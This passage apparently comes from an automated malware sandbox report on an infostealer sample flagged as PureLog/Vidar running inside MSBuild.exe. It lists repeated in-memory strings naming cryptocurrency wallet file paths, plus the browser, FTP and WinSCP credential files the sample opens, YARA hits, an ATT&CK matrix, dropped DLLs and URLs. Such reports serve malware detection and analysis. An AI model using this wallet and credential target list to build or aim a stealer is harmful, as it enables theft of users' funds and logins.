Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000001047000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000001047000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000001047000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000001047000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000000.1624122549.00000000005A2000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: set_UseMachineKeyStore
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000001047000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Opens network shares

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: \\config\			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: \\config\			Jump to behavior

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 6712, type: MEMORYSTR

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, type: SAMPLE
Source: Yara match	File source: 0.0.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.5a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1624122549.00000000005A2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.3f3d5c0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.3f3d5c0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.3f6f5f0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.3f6f5f0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1764198655.0000000003F6F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1764198655.0000000003F0B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1763723745.0000000002F96000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1769696324.0000000005DC7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe PID: 6580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6712, type: MEMORYSTR

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D01A0C0 CorBindToRuntimeEx,GetModuleHandleW,GetModuleHandleW,__cftoe,GetModuleHandleW,GetProcAddress,	0_2_6D01A0C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CD10C40 sqlite3_bind_zeroblob,	1_2_6CD10C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CD10D60 sqlite3_bind_parameter_name,	1_2_6CD10D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC38EA0 sqlite3_clear_bindings,	1_2_6CC38EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CD10B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	1_2_6CD10B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC36410 bind,WSAGetLastError,	1_2_6CC36410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC360B0 listen,WSAGetLastError,	1_2_6CC360B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC3C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	1_2_6CC3C050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC36070 PR_Listen,	1_2_6CC36070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC3C030 sqlite3_bind_parameter_count,	1_2_6CC3C030

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	411 Process Injection	11 Deobfuscate/Decode Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Timestomp	NTDS	55 System Information Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Network Share Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	151 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Virtualization/Sandbox Evasion	DCSync	3 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	411 Process Injection	Proc Filesystem	12 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	34%	ReversingLabs	Win32.Trojan.Casdet
SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	38%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner
C:\ProgramData\AFCBAEBAEBFH\freebl3.dll	0%	ReversingLabs
C:\ProgramData\AFCBAEBAEBFH\mozglue.dll	0%	ReversingLabs
C:\ProgramData\AFCBAEBAEBFH\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\AFCBAEBAEBFH\nss3.dll	0%	ReversingLabs
C:\ProgramData\AFCBAEBAEBFH\softokn3.dll	0%	ReversingLabs
C:\ProgramData\AFCBAEBAEBFH\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqls[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
steamcommunity.com	0%	Virustotal		Browse
fp2e7a.wpc.phicdn.net	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE	0%	URL Reputation	safe
http://www.valvesoftware.com/legal.htm	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe	0%	URL Reputation	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	0%	URL Reputation	safe
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	URL Reputation	safe
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	0%	URL Reputation	safe
